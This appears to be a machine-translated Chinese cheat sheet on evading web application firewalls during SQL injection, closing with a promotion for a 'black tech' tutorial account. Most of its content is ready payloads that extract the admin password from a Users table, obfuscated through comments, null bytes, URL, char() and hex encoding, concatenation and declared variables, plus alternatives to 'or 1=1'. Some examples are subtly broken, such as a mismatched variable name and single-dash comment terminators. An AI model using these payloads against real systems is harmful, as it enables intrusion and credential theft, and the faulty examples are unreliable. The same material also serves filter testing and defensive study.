这些技术用于绕过诸如Web应用防火墙(WAF)或入侵防御系统(IPS)之类的防御。另请参阅:
白色空间
删除空间或添加不会影响SQL语句的空格。例如
or 'a'='a'
or 'a' = 'a'
添加不会更改SQL语句执行的特殊字符,如新行或制表符。例如,
or 'a'= 'a'
空字节
在过滤器阻塞的任何字符之前使用空字节(%00)。
例如,如果攻击者可能注入以下SQL
'UNION SELECT password FROM Users WHERE username ='admin' -
将添加空字节
%00' UNION SELECT password FROM Users WHERE username='admin'--
SQL评论
添加SQL内联注释还可以帮助SQL语句有效并绕过SQL注入过滤器。以此SQL注入为例。
'UNION SELECT password FROM Users WHERE name ='admin' -
添加SQL内联注释将会。
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--
'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--
网址编码
使用联机URL编码来编码SQL语句
编码器地址:http://meyerweb.com/eric/tools/dencoder/
'UNION SELECT password FROM Users WHERE name ='admin' -
SQL注入语句的URL编码将为
%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--
字符编码
Char()函数可以用来代替英文字符。例如,char(114,111,111,116)表示根
'UNION SELECT password FROM Users WHERE name ='root' -
要应用Char(),将使用SQL注入语句
'UNION SELECT password FROM Users WHERE name = char(114,111,111,116) -
字符串连接
连接分解SQL关键字并逃避过滤器。串联语法根据数据库引擎而有所不同。以MS SQL引擎为例
select 1
简单的SQL语句可以通过使用连接来如下更改
EXEC('SEL'+'ECT 1')
十六进制编码
十六进制编码技术使用十六进制编码替换原始SQL语句char。例如,'root'可以表示为726F6F74
Select user from users where name = 'root'
使用HEX值的SQL语句将是:
Select user from users where name = 726F6F74
要么
Select user from users where name = unhex('726F6F74')
声明变量
将SQL注入语句声明为变量并执行它。
例如,下面的SQL注入语句
Union Select password
将SQL语句定义为变量SQLivar
; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password'); EXEC(@SQLivar)
'或1 = 1'的替代表达
OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' > 'S'
or 20 > 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1
认真看完你会有收获,关注头条号:小桀网络每天更新黑科技文章教程